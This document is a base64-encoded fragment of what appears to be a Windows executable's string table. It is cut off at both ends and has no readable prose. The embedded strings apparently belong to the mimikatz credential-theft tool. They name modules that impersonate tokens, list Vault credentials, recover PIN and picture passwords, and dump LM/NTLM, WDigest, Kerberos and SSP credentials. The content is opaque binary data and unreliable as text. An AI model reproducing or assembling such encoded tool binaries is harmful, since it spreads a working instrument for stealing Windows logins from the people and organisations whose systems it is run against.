sAdQBoAGwAXwBzAGUAcgB2AGkAYwBlAF8AcwBlAG4AZABjAG8AbgB0AHIAbwBsAF8AaQBuAHAAcgBvAGMAZQBzAHMAIAA7ACAATgBvAHQAIABhAHYAYQBpAGwAYQBiAGwAZQAgAHcAaQB0AGgAbwB1AHQAIABTAGMAUwBlAG4AZABDAG8AbgB0AHIAbwBsAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AcwBlAHIAdgBpAGMAZQBfAHMAZQBuAGQAYwBvAG4AdAByAG8AbABfAGkAbgBwAHIAbwBjAGUAcwBzACAAOwAgAE8AcABlAG4AUAByAG8AYwBlAHMAcwAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABlAHgAaQB0AAAAAABRAHUAaQB0ACAAbQBpAG0AaQBrAGEAdAB6AAAAYwBsAHMAAAAAAAAAQwBsAGUAYQByACAAcwBjAHIAZQBlAG4AIAAoAGQAbwBlAHMAbgAnAHQAIAB3AG8AcgBrACAAdwBpAHQAaAAgAHIAZQBkAGkAcgBlAGMAdABpAG8AbgBzACwAIABsAGkAawBlACAAUABzAEUAeABlAGMAKQAAAAAAYQBuAHMAdwBlAHIAAAAAAEEAbgBzAHcAZQByACAAdABvACAAdABoAGUAIABVAGwAdABpAG0AYQB0AGUAIABRAHUAZQBzAHQAaQBvAG4AIABvAGYAIABMAGkAZgBlACwAIAB0AGgAZQAgAFUAbgBpAHYAZQByAHMAZQAsACAAYQBuAGQAIABFAHYAZQByAHkAdABoAGkAbgBnAAAAYwBvAGYAZgBlAGUAAAAAAFAAbABlAGEAcwBlACwAIABtAGEAawBlACAAbQBlACAAYQAgAGMAbwBmAGYAZQBlACEAAABzAGwAZQBlAHAAAAAAAAAAUwBsAGUAZQBwACAAYQBuACAAYQBtAG8AdQBuAHQAIABvAGYAIABtAGkAbABsAGkAcwBlAGMAbwBuAGQAcwAAAEwAbwBnACAAbQBpAG0AaQBrAGEAdAB6ACAAaQBuAHAAdQB0AC8AbwB1AHQAcAB1AHQAIAB0AG8AIABmAGkAbABlAAAAYgBhAHMAZQA2ADQAAAAAAAAAAABTAHcAaQB0AGMAaAAgAGYAaQBsAGUAIABvAHUAdABwAHUAdAAvAGIAYQBzAGUANgA0ACAAbwB1AHQAcAB1AHQAAAAAAHYAZQByAHMAaQBvAG4AAAAAAAAARABpAHMAcABsAGEAeQAgAHMAbwBtAGUAIAB2AGUAcgBzAGkAbwBuACAAaQBuAGYAbwByAG0AYQB0AGkAbwBuAHMAAABjAGQAAAAAAAAAAABDAGgAYQBuAGcAZQAgAG8AcgAgAGQAaQBzAHAAbABhAHkAIABjAHUAcgByAGUAbgB0ACAAZABpAHIAZQBjAHQAbwByAHkAAABtAGEAcgBrAHIAdQBzAHMAAAAAAE0AYQByAGsAIABhAGIAbwB1AHQAIABQAHQASAAAAAAAcwB0AGEAbgBkAGEAcgBkAAAAAABTAHQAYQBuAGQAYQByAGQAIABtAG8AZAB1AGwAZQAAAEIAYQBzAGkAYwAgAGMAbwBtAG0AYQBuAGQAcwAgACgAZABvAGUAcwAgAG4AbwB0ACAAcgBlAHEAdQBpAHIAZQAgAG0AbwBkAHUAbABlACAAbgBhAG0AZQApAAAAQgB5AGUAIQAKAAAANAAyAC4ACgAAAAAAAAAAAAoAIAAgACAAIAAoACAAKAAKACAAIAAgACAAIAApACAAKQAKACAAIAAuAF8AXwBfAF8AXwBfAC4ACgAgACAAfAAgACAAIAAgACAAIAB8AF0ACgAgACAAXAAgACAAIAAgACAAIAAvAAoAIAAgACAAYAAtAC0ALQAtACcACgAAAAAAUwBsAGUAZQBwACAAOgAgACUAdQAgAG0AcwAuAC4ALgAgAAAARQBuAGQAIAAhAAoAAAAAAG0AaQBtAGkAawBhAHQAegAuAGwAbwBnAAAAAABVAHMAaQBuAGcAIAAnACUAcwAnACAAZgBvAHIAIABsAG8AZwBmAGkAbABlACAAOgAgACUAcwAKAAAAAAB0AHIAdQBlAAAAAABmAGEAbABzAGUAAABpAHMAQgBhAHMAZQA2ADQASQBuAHQAZQByAGMAZQBwAHQAIAB3AGEAcwAgACAAIAAgADoAIAAlAHMACgAAAAAAaQBzAEIAYQBzAGUANgA0AEkAbgB0AGUAcgBjAGUAcAB0ACAAaQBzACAAbgBvAHcAIAA6ACAAJQBzAAoAAAAAADYANAAAAAAAOAA2AAAAAAAAAAAACgBtAGkAbQBpAGsAYQB0AHoAIAAyAC4AMAAgAGEAbABwAGgAYQAgACgAYQByAGMAaAAgAHgAOAA2ACkACgBXAGkAbgBkAG8AdwBzACAATgBUACAAJQB1AC4AJQB1ACAAYgB1AGkAbABkACAAJQB1ACAAKABhAHIAYwBoACAAeAAlAHMAKQAKAG0AcwB2AGMAIAAlAHUAIAAlAHUACgAAAEMAdQByADoAIAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAdABhAG4AZABhAHIAZABfAGMAZAAgADsAIABrAHUAbABsAF8AbQBfAGYAaQBsAGUAXwBnAGUAdABDAHUAcgByAGUAbgB0AEQAaQByAGUAYwB0AG8AcgB5ACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAE4AZQB3ADoAIAAlAHMACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAHQAYQBuAGQAYQByAGQAXwBjAGQAIAA7ACAAUwBlAHQAQwB1AHIAcgBlAG4AdABEAGkAcgBlAGMAdABvAHIAeQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABTAG8AcgByAHkAIAB5AG8AdQAgAGcAdQB5AHMAIABkAG8AbgAnAHQAIABnAGUAdAAgAGkAdAAuAAoAAAB3AGgAbwBhAG0AaQAAAAAARABpAHMAcABsAGEAeQAgAGMAdQByAHIAZQBuAHQAIABpAGQAZQBuAHQAaQB0AHkAAAAAAEwAaQBzAHQAIABhAGwAbAAgAHQAbwBrAGUAbgBzACAAbwBmACAAdABoAGUAIABzAHkAcwB0AGUAbQAAAGUAbABlAHYAYQB0AGUAAABJAG0AcABlAHIAcwBvAG4AYQB0AGUAIABhACAAdABvAGsAZQBuAAAAcgBlAHYAZQByAHQAAAAAAFIAZQB2AGUAcgB0ACAAdABvACAAcAByAG8AYwBlAHMAIAB0AG8AawBlAG4AAAAAAHQAbwBrAGUAbgAAAFQAbwBrAGUAbgAgAG0AYQBuAGkAcAB1AGwAYQB0AGkAbwBuACAAbQBvAGQAdQBsAGUAAAAgACoAIABQAHIAbwBjAGUAcwBzACAAVABvAGsAZQBuACAAOgAgAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwB0AG8AawBlAG4AXwB3AGgAbwBhAG0AaQAgADsAIABPAHAAZQBuAFAAcgBvAGMAZQBzAHMAVABvAGsAZQBuACAAKAAwAHgAJQAwADgAeAApAAoAAAAAACAAKgAgAFQAaAByAGUAYQBkACAAVABvAGsAZQBuACAAIAA6ACAAAABuAG8AIAB0AG8AawBlAG4ACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHQAbwBrAGUAbgBfAHcAaABvAGEAbQBpACAAOwAgAE8AcABlAG4AVABoAHIAZQBhAGQAVABvAGsAZQBuACAAKAAwAHgAJQAwADgAeAApAAoAAABkAG8AbQBhAGkAbgBhAGQAbQBpAG4AAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwB0AG8AawBlAG4AXwBsAGkAcwB0AF8AbwByAF8AZQBsAGUAdgBhAHQAZQAgADsAIABrAHUAbABsAF8AbQBfAGwAbwBjAGEAbABfAGQAbwBtAGEAaQBuAF8AdQBzAGUAcgBfAGcAZQB0AEMAdQByAHIAZQBuAHQARABvAG0AYQBpAG4AUwBJAEQAIAAoADAAeAAlADAAOAB4ACkACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AdABvAGsAZQBuAF8AbABpAHMAdABfAG8AcgBfAGUAbABlAHYAYQB0AGUAIAA7ACAATgBvACAAdQBzAGUAcgBuAGEAbQBlACAAYQB2AGEAaQBsAGEAYgBsAGUAIAB3AGgAZQBuACAAUwBZAFMAVABFAE0ACgAAAFQAbwBrAGUAbgAgAEkAZAAgACAAOgAgACUAdQAKAFUAcwBlAHIAIABuAGEAbQBlACAAOgAgACUAcwAKAFMASQBEACAAbgBhAG0AZQAgACAAOgAgAAAAAAAlAHMAXAAlAHMACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwB0AG8AawBlAG4AXwBsAGkAcwB0AF8AbwByAF8AZQBsAGUAdgBhAHQAZQAgADsAIABrAHUAbABsAF8AbQBfAHQAbwBrAGUAbgBfAGcAZQB0AE4AYQBtAGUARABvAG0AYQBpAG4ARgByAG8AbQBTAEkARAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwB0AG8AawBlAG4AXwBsAGkAcwB0AF8AbwByAF8AZQBsAGUAdgBhAHQAZQAgADsAIABrAHUAbABsAF8AbQBfAGwAbwBjAGEAbABfAGQAbwBtAGEAaQBuAF8AdQBzAGUAcgBfAEMAcgBlAGEAdABlAFcAZQBsAGwASwBuAG8AdwBuAFMAaQBkACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AdABvAGsAZQBuAF8AcgBlAHYAZQByAHQAIAA7ACAAUwBlAHQAVABoAHIAZQBhAGQAVABvAGsAZQBuACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAEEAbgBvAG4AeQBtAG8AdQBzAAAASQBkAGUAbgB0AGkAZgBpAGMAYQB0AGkAbwBuAAAAAABJAG0AcABlAHIAcwBvAG4AYQB0AGkAbwBuAAAARABlAGwAZQBnAGEAdABpAG8AbgAAAAAAVQBuAGsAbgBvAHcAbgAAACUALQAxADAAdQAJAAAAAAAlAHMAXAAlAHMACQAlAHMAAAAAAAkAKAAlADAAMgB1AGcALAAlADAAMgB1AHAAKQAJACUAcwAAACAAKAAlAHMAKQAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AdABvAGsAZQBuAF8AbABpAHMAdABfAG8AcgBfAGUAbABlAHYAYQB0AGUAXwBjAGEAbABsAGIAYQBjAGsAIAA7ACAAQwBoAGUAYwBrAFQAbwBrAGUAbgBNAGUAbQBiAGUAcgBzAGgAaQBwACAAKAAwAHgAJQAwADgAeAApAAoAAAAAACUAdQAJAAAAIAAtAD4AIABJAG0AcABlAHIAcwBvAG4AYQB0AGUAZAAgACEACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHQAbwBrAGUAbgBfAGwAaQBzAHQAXwBvAHIAXwBlAGwAZQB2AGEAdABlAF8AYwBhAGwAbABiAGEAYwBrACAAOwAgAFMAZQB0AFQAaAByAGUAYQBkAFQAbwBrAGUAbgAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABtAHUAbAB0AGkAcgBkAHAAAAAAAAAAAABbAGUAeABwAGUAcgBpAG0AZQBuAHQAYQBsAF0AIABwAGEAdABjAGgAIABUAGUAcgBtAGkAbgBhAGwAIABTAGUAcgB2AGUAcgAgAHMAZQByAHYAaQBjAGUAIAB0AG8AIABhAGwAbABvAHcAIABtAHUAbAB0AGkAcABsAGUAcwAgAHUAcwBlAHIAcwAAAHQAcwAAAAAAVABlAHIAbQBpAG4AYQBsACAAUwBlAHIAdgBlAHIAIABtAG8AZAB1AGwAZQAAAAAAdABlAHIAbQBzAHIAdgAuAGQAbABsAAAAVABlAHIAbQBTAGUAcgB2AGkAYwBlAAAAAAAAAFcAaQBuAGQAbwB3AHMAIABWAGEAdQBsAHQALwBDAHIAZQBkAGUAbgB0AGkAYQBsACAAbQBvAGQAdQBsAGUAAAB2AGEAdQBsAHQAYwBsAGkAAAAAAFZhdWx0RW51bWVyYXRlSXRlbVR5cGVzAFZhdWx0RW51bWVyYXRlVmF1bHRzAAAAAFZhdWx0T3BlblZhdWx0AABWYXVsdEdldEluZm9ybWF0aW9uAFZhdWx0RW51bWVyYXRlSXRlbXMAVmF1bHRDbG9zZVZhdWx0AFZhdWx0RnJlZQAAAFZhdWx0R2V0SXRlbQAAAABEAG8AbQBhAGkAbgAgAFAAYQBzAHMAdwBvAHIAZAAAAEQAbwBtAGEAaQBuACAAQwBlAHIAdABpAGYAaQBjAGEAdABlAAAAAABEAG8AbQBhAGkAbgAgAEUAeAB0AGUAbgBkAGUAZAAAAFAAaQBuACAATABvAGcAbwBuAAAAUABpAGMAdAB1AHIAZQAgAFAAYQBzAHMAdwBvAHIAZAAAAAAAQgBpAG8AbQBlAHQAcgBpAGMAAABOAGUAeAB0ACAARwBlAG4AZQByAGEAdABpAG8AbgAgAEMAcgBlAGQAZQBuAHQAaQBhAGwAAAAAAAoAVgBhAHUAbAB0ACAAOgAgAAAACQBJAHQAZQBtAHMAIAAoACUAdQApAAoAAAAAAAkAIAAlADIAdQAuAAkAJQBzAAoAAAAAAAkACQBUAHkAcABlACAAIAAgACAAIAAgACAAIAAgACAAIAAgADoAIAAAAAAACQAJAEwAYQBzAHQAVwByAGkAdAB0AGUAbgAgACAAIAAgACAAOgAgAAAAAAAJAAkARgBsAGEAZwBzACAAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAJQAwADgAeAAKAAAACQAJAFIAZQBzAHMAbwB1AHIAYwBlACAAIAAgACAAIAAgACAAOgAgAAAAAAAJAAkASQBkAGUAbgB0AGkAdAB5ACAAIAAgACAAIAAgACAAIAA6ACAAAAAAAAkACQBBAHUAdABoAGUAbgB0AGkAYwBhAHQAbwByACAAIAAgADoAIAAAAAAACQAJAFAAcgBvAHAAZQByAHQAeQAgACUAMgB1ACAAIAAgACAAIAA6ACAAAAAJAAkAKgBBAHUAdABoAGUAbgB0AGkAYwBhAHQAbwByACoAIAA6ACAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHYAYQB1AGwAdABfAGwAaQBzAHQAIAA7ACAAVgBhAHUAbAB0AEcAZQB0AEkAdABlAG0ANwAgADoAIAAlADAAOAB4AAAAAAAJAAkAUABhAGMAawBhAGcAZQBTAGkAZAAgACAAIAAgACAAIAA6ACAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHYAYQB1AGwAdABfAGwAaQBzAHQAIAA7ACAAVgBhAHUAbAB0AEcAZQB0AEkAdABlAG0AOAAgADoAIAAlADAAOAB4AAAAAAAKAAkACQAqACoAKgAgACUAcwAgACoAKgAqAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AdgBhAHUAbAB0AF8AbABpAHMAdAAgADsAIABWAGEAdQBsAHQARQBuAHUAbQBlAHIAYQB0AGUAVgBhAHUAbAB0AHMAIAA6ACAAMAB4ACUAMAA4AHgACgAAAAAACQAJAFUAcwBlAHIAIAAgACAAIAAgACAAIAAgACAAIAAgACAAOgAgAAAAAAAlAHMAXAAlAHMAAAAAAAAAUwBPAEYAVABXAEEAUgBFAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzAFwAQwB1AHIAcgBlAG4AdABWAGUAcgBzAGkAbwBuAFwAQQB1AHQAaABlAG4AdABpAGMAYQB0AGkAbwBuAFwATABvAGcAbwBuAFUASQBcAFAAaQBjAHQAdQByAGUAUABhAHMAcwB3AG8AcgBkAAAAAABiAGcAUABhAHQAaAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AdgBhAHUAbAB0AF8AbABpAHMAdABfAGQAZQBzAGMASQB0AGUAbQBfAFAASQBOAEwAbwBnAG8AbgBPAHIAUABpAGMAdAB1AHIAZQBQAGEAcwBzAHcAbwByAGQATwByAEIAaQBvAG0AZQB0AHIAaQBjACAAOwAgAFIAZQBnAFEAdQBlAHIAeQBWAGEAbAB1AGUARQB4ACAAMgAgADoAIAAlADAAOAB4AAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwB2AGEAdQBsAHQAXwBsAGkAcwB0AF8AZABlAHMAYwBJAHQAZQBtAF8AUABJAE4ATABvAGcAbwBuAE8AcgBQAGkAYwB0AHUAcgBlAFAAYQBzAHMAdwBvAHIAZABPAHIAQgBpAG8AbQBlAHQAcgBpAGMAIAA7ACAAUgBlAGcAUQB1AGUAcgB5AFYAYQBsAHUAZQBFAHgAIAAxACAAOgAgACUAMAA4AHgACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHYAYQB1AGwAdABfAGwAaQBzAHQAXwBkAGUAcwBjAEkAdABlAG0AXwBQAEkATgBMAG8AZwBvAG4ATwByAFAAaQBjAHQAdQByAGUAUABhAHMAcwB3AG8AcgBkAE8AcgBCAGkAbwBtAGUAdAByAGkAYwAgADsAIABSAGUAZwBPAHAAZQBuAEsAZQB5AEUAeAAgAFMASQBEACAAOgAgACUAMAA4AHgACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AdgBhAHUAbAB0AF8AbABpAHMAdABfAGQAZQBzAGMASQB0AGUAbQBfAFAASQBOAEwAbwBnAG8AbgBPAHIAUABpAGMAdAB1AHIAZQBQAGEAcwBzAHcAbwByAGQATwByAEIAaQBvAG0AZQB0AHIAaQBjACAAOwAgAEMAbwBuAHYAZQByAHQAUwBpAGQAVABvAFMAdAByAGkAbgBnAFMAaQBkACAAKAAwAHgAJQAwADgAeAApAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHYAYQB1AGwAdABfAGwAaQBzAHQAXwBkAGUAcwBjAEkAdABlAG0AXwBQAEkATgBMAG8AZwBvAG4ATwByAFAAaQBjAHQAdQByAGUAUABhAHMAcwB3AG8AcgBkAE8AcgBCAGkAbwBtAGUAdAByAGkAYwAgADsAIABSAGUAZwBPAHAAZQBuAEsAZQB5AEUAeAAgAFAAaQBjAHQAdQByAGUAUABhAHMAcwB3AG8AcgBkACAAOgAgACUAMAA4AHgACgAAAAAACQAJAFAAYQBzAHMAdwBvAHIAZAAgACAAIAAgACAAIAAgACAAOgAgAAAAAAAJAAkAUABJAE4AIABDAG8AZABlACAAIAAgACAAIAAgACAAIAA6ACAAJQAwADQAaAB1AAoAAAAAAAkACQBCAGEAYwBrAGcAcgBvAHUAbgBkACAAcABhAHQAaAAgADoAIAAlAHMACgAAAAkACQBQAGkAYwB0AHUAcgBlACAAcABhAHMAcwB3AG8AcgBkACAAKABnAHIAaQBkACAAaQBzACAAMQA1ADAAKgAxADAAMAApAAoAAAAJAAkAIABbACUAdQBdACAAAAAAAHAAbwBpAG4AdAAgACAAKAB4ACAAPQAgACUAMwB1ACAAOwAgAHkAIAA9ACAAJQAzAHUAKQAAAAAAYwBsAG8AYwBrAHcAaQBzAGUAAABhAG4AdABpAGMAbABvAGMAawB3AGkAcwBlAAAAYwBpAHIAYwBsAGUAIAAoAHgAIAA9ACAAJQAzAHUAIAA7ACAAeQAgAD0AIAAlADMAdQAgADsAIAByACAAPQAgACUAMwB1ACkAIAAtACAAJQBzAAAAAAAAAGwAaQBuAGUAIAAgACAAKAB4ACAAPQAgACUAMwB1ACAAOwAgAHkAIAA9ACAAJQAzAHUAKQAgAC0APgAgACgAeAAgAD0AIAAlADMAdQAgADsAIAB5ACAAPQAgACUAMwB1ACkAAAAlAHUACgAAAAkACQBQAHIAbwBwAGUAcgB0AHkAIAAgACAAIAAgACAAIAAgADoAIAAAAAAAJQAuACoAcwBcAAAAJQAuACoAcwAAAAAAdABvAGQAbwAgAD8ACgAAAAkATgBhAG0AZQAgACAAIAAgACAAIAAgADoAIAAlAHMACgAAAHQAZQBtAHAAIAB2AGEAdQBsAHQAAAAAAAkAUABhAHQAaAAgACAAIAAgACAAIAAgADoAIAAlAHMACgAAACUAaAB1AAAAJQB1AAAAAABbAFQAeQBwAGUAIAAlAHUAXQAgAAAAAABnAGUAbgBlAHIAaQBjAAAAZABvAG0AYQBpAG4AXwBwAGEAcwBzAHcAbwByAGQAAABkAG8AbQBhAGkAbgBfAGMAZQByAHQAaQBmAGkAYwBhAHQAZQAAAAAAZABvAG0AYQBpAG4AXwB2AGkAcwBpAGIAbABlAF8AcABhAHMAcwB3AG8AcgBkAAAAZwBlAG4AZQByAGkAYwBfAGMAZQByAHQAaQBmAGkAYwBhAHQAZQAAAGQAbwBtAGEAaQBuAF8AZQB4AHQAZQBuAGQAZQBkAAAAbgBvAG4AZQAAAAAAcwBlAHMAcwBpAG8AbgAAAGUAbgB0AGUAcgBwAHIAaQBzAGUAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHYAYQB1AGwAdABfAGMAcgBlAGQAIAA7ACAAawB1AGwAbABfAG0AXwBwAGEAdABjAGgAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AdgBhAHUAbAB0AF8AYwByAGUAZAAgADsAIABrAHUAbABsAF8AbQBfAHAAcgBvAGMAZQBzAHMAXwBnAGUAdABWAGUAcgB5AEIAYQBzAGkAYwBNAG8AZAB1AGwAZQBJAG4AZgBvAHIAbQBhAHQAaQBvAG4AcwBGAG8AcgBOAGEAbQBlACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHYAYQB1AGwAdABfAGMAcgBlAGQAIAA7ACAATwBwAGUAbgBQAHIAbwBjAGUAcwBzACAAKAAwAHgAJQAwADgAeAApAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHYAYQB1AGwAdABfAGMAcgBlAGQAIAA7ACAAawB1AGwAbABfAG0AXwBzAGUAcgB2AGkAYwBlAF8AZwBlAHQAVQBuAGkAcQB1AGUARgBvAHIATgBhAG0AZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAPwAgACgAUABlAHIAcwBpAHMAdAAgAD4AIABtAGEAeABpAG0AdQBtACkAAAA/ACAAKAB0AHkAcABlACAAPgAgAEMAUgBFAEQAXwBUAFkAUABFAF8ATQBBAFgASQBNAFUATQApAAAAAAA8AE4AVQBMAEwAPgAAAAAAVABhAHIAZwBlAHQATgBhAG0AZQAgADoAIAAlAHMAIAAvACAAJQBzAAoAVQBzAGUAcgBOAGEAbQBlACAAIAAgADoAIAAlAHMACgBDAG8AbQBtAGUAbgB0ACAAIAAgACAAOgAgACUAcwAKAFQAeQBwAGUAIAAgACAAIAAgACAAIAA6ACAAJQB1ACAALQAgACUAcwAKAFAAZQByAHMAaQBzAHQAIAAgACAAIAA6ACAAJQB1ACAALQAgACUAcwAKAEYAbABhAGcAcwAgACAAIAAgACAAIAA6ACAAJQAwADgAeAAKAEEAdAB0AHIAaQBiAHUAdABlAHMAIAA6AAoAAAAAAEMAcgBlAGQAZQBuAHQAaQBhAGwAIAA6ACAAAABpAG4AZgBvAHMAAABtAGkAbgBlAHMAdwBlAGUAcABlAHIAAABNAGkAbgBlAFMAdwBlAGUAcABlAHIAIABtAG8AZAB1AGwAZQAAAAAAbQBpAG4AZQBzAHcAZQBlAHAAZQByAC4AZQB4AGUAAABGAGkAZQBsAGQAIAA6ACAAJQB1ACAAcgAgAHgAIAAlAHUAIABjAAoATQBpAG4AZQBzACAAOgAgACUAdQAKAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBuAGUAcwB3AGUAZQBwAGUAcgBfAGkAbgBmAG8AcwAgADsAIABNAGUAbQBvAHIAeQAgAEMAIAAoAFIAIAA9ACAAJQB1ACkACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAG4AZQBzAHcAZQBlAHAAZQByAF8AaQBuAGYAbwBzACAAOwAgAE0AZQBtAG8AcgB5ACAAUgAKAAAAAAAlAEMAIAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAG4AZQBzAHcAZQBlAHAAZQByAF8AaQBuAGYAbwBzACAAOwAgAEIAbwBhAHIAZAAgAGMAbwBwAHkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAG4AZQBzAHcAZQBlAHAAZQByAF8AaQBuAGYAbwBzACAAOwAgAEcAYQBtAGUAIABjAG8AcAB5AAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBuAGUAcwB3AGUAZQBwAGUAcgBfAGkAbgBmAG8AcwAgADsAIABHACAAYwBvAHAAeQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAbgBlAHMAdwBlAGUAcABlAHIAXwBpAG4AZgBvAHMAIAA7ACAARwBsAG8AYgBhAGwAIABjAG8AcAB5AAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAbgBlAHMAdwBlAGUAcABlAHIAXwBpAG4AZgBvAHMAIAA7ACAAUwBlAGEAcgBjAGgAIABpAHMAIABLAE8ACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAbgBlAHMAdwBlAGUAcABlAHIAXwBpAG4AZgBvAHMAIAA7ACAATQBpAG4AZQBzAHcAZQBlAHAAZQByACAATgBUACAASABlAGEAZABlAHIAcwAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAbgBlAHMAdwBlAGUAcABlAHIAXwBpAG4AZgBvAHMAIAA7ACAATQBpAG4AZQBzAHcAZQBlAHAAZQByACAAUABFAEIACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBuAGUAcwB3AGUAZQBwAGUAcgBfAGkAbgBmAG8AcwAgADsAIABPAHAAZQBuAFAAcgBvAGMAZQBzAHMAIAAoADAAeAAlADAAOAB4ACkACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAbgBlAHMAdwBlAGUAcABlAHIAXwBpAG4AZgBvAHMAIAA7ACAATgBvACAATQBpAG4AZQBTAHcAZQBlAHAAZQByACAAaQBuACAAbQBlAG0AbwByAHkAIQAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAbgBlAHMAdwBlAGUAcABlAHIAXwBpAG4AZgBvAHMAXwBwAGEAcgBzAGUARgBpAGUAbABkACAAOwAgAFUAbgBhAGIAbABlACAAdABvACAAcgBlAGEAZAAgAGUAbABlAG0AZQBuAHQAcwAgAGYAcgBvAG0AIABjAG8AbAB1AG0AbgA6ACAAJQB1AAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBuAGUAcwB3AGUAZQBwAGUAcgBfAGkAbgBmAG8AcwBfAHAAYQByAHMAZQBGAGkAZQBsAGQAIAA7ACAAVQBuAGEAYgBsAGUAIAB0AG8AIAByAGUAYQBkACAAcgBlAGYAZQByAGUAbgBjAGUAcwAgAGYAcgBvAG0AIABjAG8AbAB1AG0AbgA6ACAAJQB1AAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAG4AZQBzAHcAZQBlAHAAZQByAF8AaQBuAGYAbwBzAF8AcABhAHIAcwBlAEYAaQBlAGwAZAAgADsAIABVAG4AYQBiAGwAZQAgAHQAbwAgAHIAZQBhAGQAIAByAGUAZgBlAHIAZQBuAGMAZQBzAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAG4AZQBzAHcAZQBlAHAAZQByAF8AaQBuAGYAbwBzAF8AcABhAHIAcwBlAEYAaQBlAGwAZAAgADsAIABVAG4AYQBiAGwAZQAgAHQAbwAgAHIAZQBhAGQAIABmAGkAcgBzAHQAIABlAGwAZQBtAGUAbgB0AAoAAABsAHMAYQBzAHIAdgAAAAAATHNhSUNhbmNlbE5vdGlmaWNhdGlvbgAATHNhSVJlZ2lzdGVyTm90aWZpY2F0aW9uAAAAAGIAYwByAHkAcAB0AAAAAABCQ3J5cHRPcGVuQWxnb3JpdGhtUHJvdmlkZXIAQkNyeXB0U2V0UHJvcGVydHkAAABCQ3J5cHRHZXRQcm9wZXJ0eQAAAEJDcnlwdEdlbmVyYXRlU3ltbWV0cmljS2V5AABCQ3J5cHRFbmNyeXB0AAAAQkNyeXB0RGVjcnlwdAAAAEJDcnlwdERlc3Ryb3lLZXkAAAAAQkNyeXB0Q2xvc2VBbGdvcml0aG1Qcm92aWRlcgAAAAAzAEQARQBTAAAAAABDAGgAYQBpAG4AaQBuAGcATQBvAGQAZQBDAEIAQwAAAEMAaABhAGkAbgBpAG4AZwBNAG8AZABlAAAAAABPAGIAagBlAGMAdABMAGUAbgBnAHQAaAAAAAAAQQBFAFMAAABDAGgAYQBpAG4AaQBuAGcATQBvAGQAZQBDAEYAQgAAAG0AcwB2AAAATABpAHMAdABzACAATABNACAAJgAgAE4AVABMAE0AIABjAHIAZQBkAGUAbgB0AGkAYQBsAHMAAAB3AGQAaQBnAGUAcwB0AAAATABpAHMAdABzACAAVwBEAGkAZwBlAHMAdAAgAGMAcgBlAGQAZQBuAHQAaQBhAGwAcwAAAEwAaQBzAHQAcwAgAEsAZQByAGIAZQByAG8AcwAgAGMAcgBlAGQAZQBuAHQAaQBhAGwAcwAAAAAAdABzAHAAawBnAAAATABpAHMAdABzACAAVABzAFAAawBnACAAYwByAGUAZABlAG4AdABpAGEAbABzAAAAbABpAHYAZQBzAHMAcAAAAEwAaQBzAHQAcwAgAEwAaQB2AGUAUwBTAFAAIABjAHIAZQBkAGUAbgB0AGkAYQBsAHMAAABzAHMAcAAAAEwAaQBzAHQAcwAgAFMAUwBQACAAYwByAGUAZABlAG4AdABpAGEAbABzAAAAbABvAGcAbwBuAFAAYQBzAHMAdwBv